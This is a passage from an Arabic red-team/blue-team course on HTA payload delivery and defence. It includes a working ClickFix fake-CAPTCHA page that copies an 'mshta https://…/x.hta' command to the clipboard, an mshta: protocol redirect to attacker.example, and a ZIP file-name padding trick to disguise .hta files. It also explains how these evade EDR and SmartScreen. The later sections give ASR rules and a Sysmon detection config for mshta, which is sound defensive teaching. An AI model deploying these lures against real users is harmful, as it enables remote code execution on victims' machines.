  • .save() يكتب البايتات وفق تنسيق [MS-SHLLINK] بنفس الطريقة التي تفعلها COM على Windows.

لماذا نُفضّل PowerShell على pylnk3؟

  1. استقرار API: مكتبة WScript.Shell من مايكروسوفت لم تتغير منذ 2001. pylnk3 غيّر أسماء الحقول عدة مرات (relative_path كان path سابقا).
  2. بدون تبعيات خارجية: PowerShell جاهز على كل Windows. pylnk3 يحتاج Python + pip + إنترنت.
  3. موثوقية الحقول المتقدمة: IconLocation و WindowStyle و Hotkey أضمن في COM.
  4. يعمل على الهدف نفسه: إذا كنا على الجهاز الضحية (الجهاز المُختبَر)، PowerShell جاهز فورا.

🎯 الطريقة 3: mshta:// protocol handler

كتلة الكود

html
<script>
  window.location = "mshta:https://attacker.example/x.hta";
</script>

شرح window.location = "..."

  • window.location: كائن جافاسكربت يُمثّل الـ URL الحالي.
  • إسناد قيمة له يُطلب من المتصفح الانتقال إلى URL جديد.
  • إذا كان URL جديد من نوع HTTP/HTTPS → المتصفح يحمّل الصفحة عاديا.
  • إذا كان URL من مخطط (scheme) غير معروف مثل mshta: أو steam:// أو slack:// → المتصفح يبحث في نظام التشغيل عن "protocol handler" مُسجَّل.

تسجيل معالج بروتوكول في Registry

مايكروسوفت تُسجّل الـ handlers تحت:

text
HKEY_CLASSES_ROOT\<protocol>\shell\open\command

مثال (mshta: على Windows قديم):

text
HKCR\mshta\
  (Default) = "URL:MSHTA Protocol"
  URL Protocol = ""
  shell\open\command\
    (Default) = "C:\Windows\System32\mshta.exe" "%1"
  • %1 = الـ URL الذي جاء بعد mshta:.
  • عندما المتصفح يرى mshta:https://x.hta، يبحث عن HKCR\mshta، يُنفّذ الأمر مُستبدلا %1 بالـ URL.

لماذا يحجب Chrome/Edge الحديث هذا؟

  1. قائمة بروتوكولات آمنة (protocol allowlist): — المتصفحات الحديثة تُميّز البروتوكولات إلى ثلاث فئات: — مسموحة تلقائيا: http, https, mailto:, tel:, sms:. — تحتاج إذن المستخدم: zoom:, slack:, vscode: (يظهر Popup "Open in Slack?"). — محجوبة كليا: mshta:, hcp:, search-ms:, وغيرها من قوائم مايكروسوفت للـ "dangerous schemes".
  2. إزالة mshta: من قوائم مايكروسوفت في 2010 بعد استغلال ثغرات IE.
  3. حتى لو حاول المهاجم فتح Popup: Chrome يعرض حوارا يطلب اسم البروتوكول، الضحية غالبا ترفض.

النتيجة: نسبة النجاح <5% في 2026.


🎯 الطريقة 4: HTA داخل ZIP باسم مضلل

كتلة الكود

bash
mkdir -p /tmp/pack
cp ~/lab/hta/06-decoy.hta \
   "/tmp/pack/Q4-Report.pdf                                    .hta"
cd /tmp/pack
zip -r /tmp/Documents.zip .

شرح mkdir -p /tmp/pack

  • mkdir: "make directory". أمر POSIX لإنشاء مجلد.
  • -p: "parents". يُنشئ المجلدات الوسيطة إذا كانت مفقودة، ولا يُخطئ إذا كان المجلد موجودا.
  • /tmp/pack: مجلد مؤقت (/tmp يُحذف عند إعادة تشغيل النظام).

شرح cp ~/lab/hta/06-decoy.hta "..."

  • ينسخ الملف مع تغيير الاسم إلى: Q4-Report.pdf + مسافات كثيرة + .hta.
  • الحيلة: الاسم الحقيقي Q4-Report.pdf .hta لكن Windows Explorer: — يعرض عمود "Name" بعرض ثابت. — يقص أي شيء يتجاوز حدّ العرض ويضع .... — إذا كان بين .pdf و .hta مسافات كافية، الأخيرة لا تظهر إطلاقا. — المستخدم يرى Q4-Report.pdf فقط.
  • البدائل الأكثر خطرا: — محارف Unicode RLO (Right-to-Left Override)، U+202E، تقلب اتجاه النص: — invoice\u202Efdp.hta يُعرض invoiceath.pdf (وهم بصري كامل). — محارف Zero-Width Space (U+200B) لإخفاء أجزاء.

شرح cd /tmp/pack && zip -r /tmp/Documents.zip .

  • cd /tmp/pack: نغيّر المجلد الحالي حتى تكون مسارات الأرشيف نسبية.
  • zip: أداة ضغط POSIX.
  • -r: recursive، يضم كل الملفات والمجلدات الفرعية.
  • /tmp/Documents.zip: مسار الملف الناتج.
  • .: كل شيء في المجلد الحالي.

وراثة MOTW في ZIP (تغيير نوفمبر 2022)

MOTW = Mark of the Web:

  • علامة تُخزَّن كـ Alternate Data Stream (file.ext:Zone.Identifier) على NTFS.
  • تحمل قيمة ZoneId=3 = "Internet Zone" لكل ملف مُنزَّل من الإنترنت.

قبل نوفمبر 2022:

  • ZIP يحمل MOTW على الأرشيف نفسه.
  • لكن الملفات المستخرجة داخله لا ترث العلامة.
  • المهاجم يُغلّف EXE في ZIP، الضحية يستخرج، Windows Defender لا يتحقق بصرامة.
  • CVE-2022-41091: ثغرة شهيرة استغلها Emotet و Qakbot.

بعد نوفمبر 2022 (Patch Tuesday):

  • كل ملف يُستخرج من ZIP يحمل MOTW الأصلي.
  • عند تشغيله، SmartScreen يفحصه.
  • Defender يفحص بجدية أعلى.
  • Office يفتحه في Protected View.

الأثر على HTA:

  • HTA مع MOTW لا يُشغَّل تلقائيا؟ خطأ شائع، mshta لا يحترم MOTW في التنفيذ افتراضيا.
  • لكن Windows 11 22H2+ أضاف تحذيرا "This file came from the internet".
  • نسبة النجاح 30-45% لا تزال قابلة للتحقق في بيئات غير مُحدَّثة.

🎯 الطريقة 5: ClickFix

كتلة الكود

html
<html>
<head><style>body{font-family:Segoe UI;padding:40px;text-align:center;}</style></head>
<body>
  <h2>To verify you are human, please:</h2>
  <ol>
    <li>Press <kbd>Win + R</kbd></li>
    <li>Press <kbd>Ctrl + V</kbd></li>
    <li>Press <kbd>Enter</kbd></li>
  </ol>
  <script>
    var cmd = "mshta https://updates.corp-notes.test/x.hta # \u2713 Not a robot";
    navigator.clipboard.writeText(cmd);
  </script>
</body>
</html>

شرح navigator.clipboard.writeText(cmd)

Web Clipboard API:

  • واجهة برمجية حديثة (2018+) للوصول لحافظة النظام من JavaScript.
  • تحلّ محل الطريقة القديمة document.execCommand('copy') (مُهملة).

نموذج الأذونات (Permission Model):

  1. Secure Context إجباري: — يعمل فقط على https://, http://localhost, file://. — على http://example.com عاديا → navigator.clipboard غير مُعرَّف (undefined). — السبب: منع صفحات HTTP من سرقة أو حقن محتوى الحافظة عبر الشبكة.
  1. User Activation مطلوب: — writeText() لا يعمل إذا استُدعي وقت تحميل الصفحة مباشرة. — يجب أن يكون هناك "user gesture" حديث: نقرة، ضغط مفتاح، لمس شاشة. — الحيلة في ClickFix: الصفحة تعرض زرا وهميا "Verify"، عند نقره، السكربت يُنفَّذ ضمن onclick handler، وهو يحمل user activation. — في المثال أعلاه (يُنفَّذ عند التحميل مباشرة)، لن يعمل في Chrome الحديث؛ المهاجم يُضيف زر نقر.
  1. بعض المتصفحات تطلب إذنا صريحا: — Firefox يطلب "Allow this site to access clipboard?". — Chrome يُوافق تلقائيا للكتابة (write) لكن يطلب إذن للقراءة (read).

لماذا حيلة "verify you are human" تنجح اجتماعيا؟

  1. مألوفية CAPTCHA: المستخدم رأى آلاف تحديات "أثبت أنك بشري"؛ يُنفّذ الخطوات آليا.
  2. أوامر تبدو تقنية عادية: Win+R و Ctrl+V أوامر شرعية يعرفها المستخدمون.
  3. لا يوجد ملف تحميل: لا تحذير من المتصفح، لا تفحص Antivirus.
  4. الرسالة "Not a robot" في نهاية الأمر: تُطمئن المستخدم أن ما يلصقه له علاقة بـ CAPTCHA.
  5. إحساس بالإلحاح: "قبل المتابعة، تحقق أنك بشري"، طبيعي في تجربة تصفح 2026.

شرح Win+R

  • اختصار Windows عالمي يفتح نافذة Run.
  • Run دايالوج بسيط: يقبل أي أمر أو مسار.
  • ما يُكتب فيه يُنفَّذ عبر ShellExecute → يبحث في PATH عن البرنامج.
  • mshta https://... يُشغّل mshta.exe مع الـ URL كوسيط.

لماذا Sysmon و EDR يعميان هنا؟

Sysmon يسجل:

  • Event ID 1 (Process Create): سيُسجَّل mshta.exe، لكن الأصل (ParentImage) سيكون explorer.exe (لأن Run dialog جزء منه)، لا متصفح أو Word أو Outlook.
  • Event ID 3 (Network): سيُسجَّل اتصال HTTPS من mshta إلى updates.corp-notes.test.
  • Event ID 11 (FileCreate): لا شيء، HTA يُنفَّذ في الذاكرة، لا يُحفظ للقرص.

المشكلة للمدافع:

  • Parent = explorer.exe = "المستخدم شغّل يدويا" = سلوك شرعي متوقع.
  • كل يوم آلاف المستخدمين يفتحون Win+R لـ cmd, calc, regedit, mmc.
  • قواعد كشف "mshta from Run dialog" تُنتج ضجيجا هائلا (false positives).

EDR (CrowdStrike, SentinelOne, Defender ATP):

  • تعتمد على "process ancestry": browser → office → mshta = مشبوه.
  • في ClickFix: explorer → mshta = غير مميز عن مسؤول نظام يستخدم mshta لأدواته.
  • بعض الحلول (Defender ATP منذ 2024) بدأت تُعلّم "Clipboard-pasted mshta with URL" كسلوك مشبوه، لكن التغطية غير موحدة.

شرح # في نهاية الأمر (الحيلة الحقيقية)

الأمر الكامل في الحافظة:

text
mshta https://updates.corp-notes.test/x.hta # ✓ Not a robot

التوضيح الدقيق:

  • Windows Run dialog لا يفهم # كتعليق. لا cmd.exe ولا PowerShell يعتبرانه بداية تعليق افتراضيا (cmd لا يدعم تعليقات إطلاقا؛ PowerShell يستخدم # لكن Run لا يستدعي PowerShell).
  • ماذا يحدث فعلا؟ — Run dialog يستدعي ShellExecute بالسلسلة كاملة. — ShellExecute يفصل أول token (mshta) كبرنامج، والباقي كوسائط سطر أوامر (command line). — mshta.exe يستقبل: https://updates.corp-notes.test/x.hta # ✓ Not a robot. — mshta يفحص الوسيط الأول ويحاول التعامل معه كـ URL. — الحيلة: mshta يعتبر أول "token" فقط كـ URL، ويتجاهل الباقي بصمت (أو يمرره كإعدادات لـ HTA لكن الـ HTA لا يحتاجها). — المسافات + # تعمل كـ "padding بصري"، تدفع النص "✓ Not a robot" ليكون واضحا للضحية في نافذة Run.

سبب الحيلة الفعلي:

  • ليس هروب من parser، بل خداع بصري:
  • في نافذة Run الضيقة، الجزء الأول mshta https://... قد لا يظهر كاملا.
  • الجزء الظاهر للمستخدم في الطرف الأيمن هو # ✓ Not a robot.
  • المستخدم يرى نصا مطمئنا يبدو كتعليق CAPTCHA.
  • يضغط Enter بدون قراءة الجزء الأول.

بديل شائع في العينات الحقيقية: استخدام أحرف Unicode مثل \u2028 (Line Separator) أو \u00A0 (Non-Breaking Space) لتشتيت الأنظار.

المدافع يجب أن يعلم: لا يوجد "escape" حقيقي، الأمر ينفَّذ حرفيا. الكشف الوحيد هو مراقبة سلوك (mshta مع URL خارجي من parent = explorer).


📌 خلاصة سريعة للطالب

الطريقةالأداة الأساسيةنقطة الضعف الرئيسية للمدافع
1: Direct linkHTTP serverSafe Browsing يحذّر
2: LNKWScript.Shell COMLNK ليس EXE = يمر AV
3: Protocol handlermshta:// schemeمحجوب في المتصفحات الحديثة
4: ZIP misleadingZIP + Explorer truncationMOTW inheritance بعد 2022
5: ClickFixClipboard API + Win+Rالمستخدم نفسه ينفّذ = لا توقيع لكشف

✅ اختبر نفسك: القسم 5

  1. اذكر ثلاث طرق لإيصال ملف HTA إلى الضحية، ورتّبها حسب احتمال نجاحها في رأيك مع التبرير.
  2. لماذا يُعدّ ملف .lnk وسيلة توصيل قوية؟ ما الذي يخفيه عن الضحية؟
  3. خدعة المسافات الطويلة قبل الامتداد داخل ملف zip، كيف تعمل، وبأي إعداد في Explorer ترتبط؟
  4. ما الفرق بين إرسال رابط HTA وإرسال الملف كمرفق، من ناحية ما يفحصه الدفاع؟

3/4 = تابع.


القسم 6القسم 6: نظرة الدفاع: Defender، SmartScreen، ASR، Sysmon

Windows Defender: ماذا يرى؟

التكرارماذا يرىالحكم
1: Hello WorldHTA بسيط بلا ActiveXلا شيء (شرعي)
2: PopupWScript.Shell + Popupلا شيء (مستخدم عادي)
3: Run calcRun("calc.exe")لا شيء (calc شرعية)
4: DownloadXMLHTTP + ADODB.Stream + SaveToFileأحيانا: Trojan:Script/Wacatac.H!ml (ML)
5: Fullتنزيل EXE + تشغيل من %APPDATA%غالبا: Trojan:Script/Wacatac.H!ml أو HTML/Wacatac.B!cl
6: With decoyنفس 5 + فتح PDF مسبقاغالبا: نفس 5 (الطعم لا يخفف حكم ML)

الاستنتاج: Defender يبدأ التنبيه من التكرار 4. التكرارات 1-3 غير مرئية له. المهاجم يستطيع بناء stager صغير جدا بلا XMLHTTP (يستخدم certutil بدلا) ويتجنب أول قواعد الكشف.

SmartScreen: الحقيقة أكثر دقة مما يبدو

SmartScreen يفحص كل الملفات التي تحمل علامة الويب (Mark-of-the-Web)، بشرط أن يكون امتدادها ضمن قائمة الملفات التنفيذية.

القائمة تشمل:

  • .exe
  • .msi
  • .lnk
  • .hta ← يهمنا هنا

المسار الذي يُطلق تحذير SmartScreen بالضبط:

  1. الملف .hta نزل من متصفح أو بريد
  2. حمل معه Zone.Identifier (أي MOTW)
  3. الضحية ضغطت عليه ضغطتين من داخل Explorer

النتيجة: يظهر التحذير الأصفر "Windows protected your PC". هذا السلوك موجود منذ Windows 8 ولم يتغير.

لكن هناك ثلاث طرق فعلية لتجاوز التحذير في 2026:

الطريقلماذا يتخطى SmartScreen
1. mshta URL مباشرالملف لا ينزل إلى القرص: mshta تجلبه من الشبكة وتنفذه في الذاكرة. لا Zone.Identifier = لا SmartScreen.
2. تشغيل mshta من LNK أو سطر أمرSmartScreen يفحص عند double-click من Explorer فقط. تشغيل mshta.exe من LNK أو cmd يتجاوز الفحص.
3. ثغرات MOTW bypassCVE-2024-38213 "copy2pwn" مثال حديث: سمحت بإعادة نسخ ملفات بلا نقل MOTW. عائلة كاملة من الثغرات المشابهة تظهر كل سنة.

قواعد ASR (Attack Surface Reduction)

قواعد ASR سلوكية داخل Microsoft Defender. أُضيفت منذ Windows 10 1709 (2017).

خمس قواعد تلامس الطريق D بشكل مباشر. حقائق مهمة عنها:

  • كلها Not Configured افتراضيا، يجب تفعيلها يدويا
  • تعمل حتى على Windows 11 Home (Defender AV موجود على كل الإصدارات)
  • الإدارة المركزية والتقارير تحتاج ترخيص Defender for Endpoint E5
GUIDالاسمتأثيرها على الطريق D
BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550Block executable content from email client and webmailيمنع .hta من بريد الضحية: الأقوى ضدنا
D3E037E1-3EB8-44C8-A917-57927947596DBlock JS/VBScript from launching downloaded EXEيمنع التكرار 5/6 من تشغيل wmupdate.exe
5BEB7EFE-FD9A-4556-801D-275E5FFC04CCBlock execution of potentially obfuscated scriptsيتنبه لـ JScript مبهم عبر AMSI
3B576869-A4EC-4529-8536-B80A7769E899Block Office applications from creating executable contentيمنع Word من إنتاج .hta
D4F940AB-401B-4EFC-AADC-AD5F3C50688ABlock all Office apps from creating child processesيمنع Word من تشغيل mshta
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7BBlock Win32 API calls from Office macrosيمنع macros من ShellExecute → mshta

لتفعيل قاعدتي المستهدفتين ضد الطريق D، من PowerShell بصلاحيات Admin:

powershell
# فعّل قاعدتي البريد + تشغيل EXE من script:
Set-MpPreference -AttackSurfaceReductionRules_Ids `
    "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550",
    "D3E037E1-3EB8-44C8-A917-57927947596D" `
    -AttackSurfaceReductionRules_Actions Enabled,Enabled

# للتحقق:
Get-MpPreference | Select -ExpandProperty AttackSurfaceReductionRules_Ids
Get-MpPreference | Select -ExpandProperty AttackSurfaceReductionRules_Actions

الجديد في 2026، MC1266905: توصية جديدة داخل Microsoft Secure Score اسمها "Block outbound traffic from mshta.exe". Public preview بدأ نهاية مارس 2026، GA مايو 2026. توصية اختيارية، لا تُفعل تلقائيا. تحتاج المسؤول أن يفعلها عبر Defender Firewall أو GPO أو Intune.

Sysmon: كشف الطريق D سلوكيا

Sysmon (Sysinternals) أداة تسجّل كل حدث نظام مهم. مع القواعد الصحيحة، يكشف Sysmon أي mshta بشكل شبه فوري.

احفظ كملف sysmon-config-mshta.xml:

xml
<!--
  ملاحظة مهمة: Sysmon لا يوسّع متغيرات البيئة (%TEMP%، %APPDATA%) في قيم
  الفلاتر — يقارن نصيا فقط. لذلك نستخدم مسارات صريحة.
  كذلك: كل <Rule groupRelation="and"> يُقيّد الشرطين داخله معا (AND).
  بدون هذا اللف، الشروط تحت groupRelation="or" ستصبح OR واسع = ضجيج.
-->
<Sysmon schemaversion="4.90">
 <EventFiltering>

  <RuleGroup name="MSHTA_Detect" groupRelation="or">
   <ProcessCreate onmatch="include">

    <!-- (1) mshta يأخذ URL كوسيط = إشارة قوية جدا -->
    <Rule groupRelation="and">
      <Image condition="end with">\mshta.exe</Image>
      <CommandLine condition="contains any">http:;https:;ftp:</CommandLine>
    </Rule>

    <!-- (2) mshta تُشغَّل من داخل Office -->
    <Rule groupRelation="and">
      <ParentImage condition="end with">\winword.exe</ParentImage>
      <Image condition="end with">\mshta.exe</Image>
    </Rule>
    <Rule groupRelation="and">
      <ParentImage condition="end with">\excel.exe</ParentImage>
      <Image condition="end with">\mshta.exe</Image>
    </Rule>
    <Rule groupRelation="and">
      <ParentImage condition="end with">\outlook.exe</ParentImage>
      <Image condition="end with">\mshta.exe</Image>
    </Rule>

    <!-- (3) mshta تفتح ملفا من مكان مشبوه (مسارات صريحة، ليست متغيرات) -->
    <Rule groupRelation="and">
      <Image condition="end with">\mshta.exe</Image>
      <CommandLine condition="contains any">\AppData\Local\Temp\;\AppData\Roaming\;C:\Users\Public\;C:\Windows\Temp\;C:\ProgramData\</CommandLine>
    </Rule>

    <!-- (4) mshta تفرّخ عملية مشبوهة (Living-off-the-Land chain) -->
    <Rule groupRelation="and">
      <ParentImage condition="end with">\mshta.exe</ParentImage>
      <Image condition="end with">\powershell.exe</Image>
    </Rule>
    <Rule groupRelation="and">
      <ParentImage condition="end with">\mshta.exe</ParentImage>
      <Image condition="end with">\cmd.exe</Image>
    </Rule>

   </ProcessCreate>
  </RuleGroup>

  <!-- Event ID 3: Network connection من mshta -->
  <RuleGroup name="MSHTA_Network" groupRelation="or">
   <NetworkConnect onmatch="include">
    <Image condition="end with">\mshta.exe</Image>
   </NetworkConnect>
  </RuleGroup>

 </EventFiltering>
</Sysmon>

التثبيت على الضحية (PowerShell Admin):

powershell
# 1. حمّل Sysmon من:
#    https://learn.microsoft.com/sysinternals/downloads/sysmon
Invoke-WebRequest `
  "https://download.sysinternals.com/files/Sysmon.zip" `
  -OutFile "$env:TEMP\Sysmon.zip"
Expand-Archive "$env:TEMP\Sysmon.zip" -DestinationPath "$env:TEMP\Sysmon"

# 2. ثبّت مع الإعداد:
& "$env:TEMP\Sysmon\Sysmon64.exe" -accepteula -i .\sysmon-config-mshta.xml

# 3. تحقق من العمل:
Get-Service Sysmon64

# 4. أي تنفيذ لـ mshta سيظهر في:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 20 |
    Where-Object { $_.Message -like "*mshta*" } |
    Select TimeCreated, Id, Message

جدول الدفاع النهائي

طبقة الدفاعتكشف الطريق D؟لماذا؟
Firewall شبكةلاmshta يتصل بـ HTTPS شرعي
Email Gatewayأحياناقد يحجب امتداد .hta أو .lnk
SmartScreenلاmshta موقع من مايكروسوفت
Windows Defender AVأحيانا (من التكرار 4+)ML يقيس السلوك
ASR Rules (E5)نعم (إذا مفعّلة)قاعدة D3E037E1 + BE9BA2D9
EDR سلوكي (CrowdStrike, SentinelOne)نعميرى شجرة العمليات
Sysmon + SIEMنعمEvent 1 مع mshta+http = تنبيه فوري
Application Whitelisting (AppLocker)نعممنع تشغيل mshta.exe كليا
الوعي البشريأحياناالمستخدم قد يشك في .hta أو .lnk

ملحق القسم 6: شرح تفصيلي لكل أمر وكتلة كود (نظرة الدفاع)

هذا المرجع مكمل للقسم 6. الهدف: أن تفهم بالضبط ماذا يعني كل اسم، كل مفتاح، وكل سطر، من منظور المدافع. الأسماء الإنجليزية تُترك كما هي.


1) قراءة أسماء كشف Defender: لماذا يظهر Wacatac؟

عندما يكتشف Defender شيئا، يعطيه اسما بصيغة موحدة عمرها أكثر من 15 سنة داخل مايكروسوفت:

text
Type : Platform / Family . Variant ! Suffix

مثال المستند: Trojan:Script/Wacatac.H!ml

الجزءقيمته هنامعناه
TypeTrojanتصنيف عام: قد يكون Trojan, Worm, Backdoor, PWS (Password Stealer), TrojanDownloader, HackTool
PlatformScriptالبيئة التي يعمل فيها. Script = محرك سكربتات (JScript/VBScript/PowerShell). قد ترى HTML، Win32، PowerShell، MSIL (.NET).
FamilyWacatacاسم "العائلة". هنا العائلة عمليا مجموعة توقيعات هيوريستية وليست عائلة برمجية واحدة.
VariantHحرف داخلي لتمييز نسخة التوقيع (A, B, C, … H). لا يعني ترتيبا زمنيا صارما.
Suffix!mlكيف صدر الحكم.

اللواحق !ml مقابل !cl

  • !ml = Machine Learning verdict. حكم من نموذج تعلم آلي يعمل في السحابة أو في العميل. لا توجد "قاعدة بايت" واضحة يمكنك رؤيتها.
  • !cl = Cloud lookup verdict. الحكم جاء من Microsoft Advanced Protection Service (MAPS)، الملف نُقل هاش أو عينة صغيرة إلى سحابة Defender وقارنت المعالجة السحابية.
  • لواحق أخرى قد تراها: !bit (behavior-based)، !rfn (reputation-based)، !MSR (Microsoft Security Response)، بدون لاحقة أصلا = توقيع ثابت (signature classic).

لماذا Wacatac تحديدا؟

  • Wacatac عائلة "سلة مهملات" لدى Defender، أي حمولة سكربت أو PE فيها سلوك تنزيل + تنفيذ + إخفاء يميل النموذج لتصنيفها Wacatac.
  • نتيجة ذلك: معدل False Positive عالي جدا. تقارير كثيرة لمطورين شرعيين (installers, game mods, portable tools) تُعلَّم بـ Wacatac.B!ml. صور واسعة الانتشار على r/antivirus و Malwarebytes forums.
  • عمليا هذا يفيدك كمدافع بأمرين: (‌أ) اعتبر Wacatac إشارة للفحص، لا حكما نهائيا. (ب) توقّع تنبيهات مزعجة، وابنِ playbook للتحقق قبل الحجر.

2) SmartScreen و Mark-of-the-Web: التفاصيل التقنية

ما هو Zone.Identifier بالضبط؟

عندما يحمّل متصفح (Edge, Chrome, Outlook, Teams) ملفا، يكتب بجانبه Alternate Data Stream (ADS) اسمه Zone.Identifier. هذا ممكن فقط على NTFS (لا يعمل على FAT32/exFAT/networkfs).

شكل الملف داخل ADS:

text
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://mail.example.com/
HostUrl=https://updates.example.test/Q4-Report.hta
ZoneIdالمعنى
0Local computer
1Local intranet
2Trusted sites
3Internet ← الذي يهمنا (MOTW)
4Restricted

لتراه بنفسك من PowerShell:

powershell
Get-Content .\Q4-Report.hta -Stream Zone.Identifier

أو من cmd:

text
more < Q4-Report.hta:Zone.Identifier

لحذفه (ما يفعله المهاجم في بعض التقنيات):

powershell
Unblock-File .\Q4-Report.hta

أي الامتدادات يفحصها SmartScreen؟

SmartScreen App Reputation يعمل فقط عند فتح ملف يحمل MOTW و امتداده ضمن قائمة "التنفيذية". القائمة الرسمية (ثابتة منذ Windows 8) تشمل:

  • .exe, .com, .scr, .cpl
  • .msi, .msu, .msp
  • .hta ← يهمنا
  • .lnk
  • .ps1, .vbs, .js, .wsf, .jse, .vbe (عبر Script Host)
  • .jar (عبر جافا إن كانت مثبتة)

ملفات مكتبية (.docx, .xlsm) لها آلية Protected View منفصلة، ليست SmartScreen.

CVE-2024-38213: "copy2pwn"

ثغرة أُصلحت في يونيو 2024 كانت مستغلة زيرو-داي منذ 2023 (DarkGate). الآلية:

  1. المهاجم يضع ملفا داخل مسار WebDAV / SMB بعيد (\\attacker.tld\share\Q4.hta).
  2. الضحية تفتح المجلد في Explorer، وتضغط نسخ ثم لصق الملف على القرص المحلي.
  3. الخطأ: نسخة Explorer التي تمر عبر Windows Copy Engine في هذا السيناريو كانت لا تُنشئ Zone.Identifier على الوجهة.
  4. النتيجة: الملف يصبح على القرص بدون MOTW، فيتخطى SmartScreen كليا رغم أنه أتى فعليا من الإنترنت.

هذا مثال على عائلة كاملة من ثغرات MOTW propagation. سبقت هذا: CVE-2022-41091, CVE-2023-36884, CVE-2024-21412 وغيرها. تتكرر كل عام تقريبا.


3) قواعد ASR: تشريح أوامر PowerShell

3.1 Set-MpPreference: ماذا يفعل؟

  • Mp اختصار Microsoft Antimalware Protection (الاسم الداخلي القديم لـ Defender).
  • Preference = كائن إعدادات مخزّن على مستوى الجهاز يقرأه محرك Defender عند تشغيله.
  • هذا الكائن مخزّن فعليا في مفاتيح Registry تحت HKLM\SOFTWARE\Microsoft\Windows Defender\ وسياسات HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\.
  • لأنه HKLM (Local Machine)، تعديله يحتاج صلاحيات Administrator. Set-MpPreference بلا Admin يفشل مباشرة.

3.2 شرح السطر بسطر

powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids `
    "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550",
    "D3E037E1-3EB8-44C8-A917-57927947596D" `
    -AttackSurfaceReductionRules_Actions Enabled,Enabled
الرمزمعناه
` ``علامة استمرار السطر في PowerShell (backtick). مثل \ في bash.
-AttackSurfaceReductionRules_Idsمصفوفة GUIDs: أي القواعد تريد ضبطها.
"...","..."عناصر المصفوفة، مفصولة بفواصل.
-AttackSurfaceReductionRules_Actionsمصفوفة موازية: القيمة i مقابلة للـ GUID i.
Enabledفعّل القاعدة (blocking mode).

القيم الممكنة لـ _Actions:

  • Disabled أو NotConfigured (0)، لا شيء.
  • Enabled (1)، يحجب فعليا.
  • AuditMode (2)، يسجّل الحدث في Event Viewer بدون حجب. ابدأ دائما بهذا لتقييم الأثر قبل الحجب.
  • Warn (6)، يظهر للمستخدم تحذيرا يستطيع تجاوزه.

3.3 قراءة الإعدادات

powershell
Get-MpPreference | Select -ExpandProperty AttackSurfaceReductionRules_Ids
Get-MpPreference | Select -ExpandProperty AttackSurfaceReductionRules_Actions
  • Get-MpPreference يعيد كائنا واحدا فيه عشرات الخصائص.
  • Select هو alias لـ Select-Object.
  • -ExpandProperty <Name> = أخرج قيم الخاصية كعناصر منفصلة في الأنبوب بدل إبقائها ملفوفة داخل الكائن الأصلي. هذا مهم هنا لأن الخاصية مصفوفة، بدون -ExpandProperty سترى تمثيلا نصيا واحدا مبتورا.
  • قارن بين المصفوفتين بالترتيب: العنصر 0 من _Ids مضبوط بالعنصر 0 من _Actions.

3.4 شرح كل قاعدة GUID مذكورة

GUIDالاسمكيف تعمل تحت الغطاء
BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550Block executable content from email client and webmailتتشبّك (hook) بـ Outlook COM و Windows Mail و متصفحات الويب (عبر MAPI/URL Zone tags)؛ ترصد كتابة .exe/.dll/.scr/.js/.vbs/.hta/… من هذه المصادر إلى القرص وتمنعها.
D3E037E1-3EB8-44C8-A917-57927947596DBlock JS/VBScript from launching downloaded EXEتعترض CreateProcess من wscript.exe/cscript.exe/mshta.exe؛ إذا كان الملف الابن يحمل MOTW أو نازلا حديثا، تحجب. تكسر بالضبط سلسلة التكرار 5.
5BEB7EFE-FD9A-4556-801D-275E5FFC04CCBlock execution of potentially obfuscated scriptsتستخدم AMSI (Antimalware Scan Interface). كل تنفيذ سكربت يمر عبر AMSI؛ تُرسل النص المكشوف لـ Defender؛ نموذج ML يقيّم درجة "الغموض" (entropy, string concat, base64, char codes).
3B576869-A4EC-4529-8536-B80A7769E899Block Office applications from creating executable contentتراقب كتابة ملفات تنفيذية من عمليات Office (Word, Excel, PPT, Outlook). تمنع macro يحفظ .hta في %TEMP%.
D4F940AB-401B-4EFC-AADC-AD5F3C50688ABlock all Office apps from creating child processesتعترض CreateProcess الصادرة من winword/excel/powerpnt/outlook.exe. تمنع Office من تشغيل mshta.exe نهائيا.
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7BBlock Win32 API calls from Office macrosتحجب Declare Function في VBA: أي محاولة استدعاء Win32 (ShellExecute, URLDownloadToFile, VirtualAlloc) من داخل macro.

4) Sysmon: تشريح الـ XML كامل

4.1 لماذا Sysmon؟

Sysmon (Sysinternals, مايكروسوفت) خدمة نظام تسجّل أحداثا غنية جدا في Event Log تحت Microsoft-Windows-Sysmon/Operational. هي القاعدة الفعلية لأي SOC جاد.

4.2 الترويسة

xml
<Sysmon schemaversion="4.90">
  • schemaversion = نسخة الـ schema (هيكل الحقول) التي كتبت الإعداد لها.
  • 4.90 هي الحالية مع Sysmon 15.x. لا يجب أن تكون أعلى من نسخة Sysmon المثبتة وإلا يرفض الملف.
  • لمعرفة النسخ المدعومة: sysmon64 -s (يطبع الـ schema الحالية).

4.3 الحاوية الجذر

xml
<EventFiltering>

كل قواعد الفلترة تُوضع داخل هذه الوسم. كل شيء خارجها يُتجاهل.

4.4 RuleGroup و groupRelation

xml
<RuleGroup name="MSHTA_Detect" groupRelation="or">
  • name مجرد وسم بشري للتقارير.
  • groupRelation مهم جدا: يحدد كيف تُدمج قواعد Rule المتعددة داخل نفس نوع الحدث: — or (الشائع) = تنبيه لو انطبقت أي قاعدة. — and = تنبيه لو انطبقت كل القواعد (نادرا مفيد).

4.5 ProcessCreate: Event ID 1

xml
<ProcessCreate onmatch="include">
  • هذا الحدث الأهم في Sysmon، يُطلق عند كل عملية جديدة، ويحمل أكثر من 20 حقلا (Image, CommandLine, ParentImage, ParentCommandLine, User, Hashes, IntegrityLevel, LogonId, ProcessGuid, …).
  • onmatch="include" = فقط الأحداث التي تطابق قواعد الداخل تُسجّل. أي شيء آخر يُتجاهل.
  • onmatch="exclude" = العكس (سجّل كل شيء إلا ما ينطبق).

4.6 Rule groupRelation="and": لماذا هذا اللف؟

xml
<Rule groupRelation="and">
  <Image condition="end with">\mshta.exe</Image>
  <CommandLine condition="contains any">http:;https:;ftp:</CommandLine>
</Rule>
  • وسم <Rule> يجمع عدة شروط على نفس الحدث.
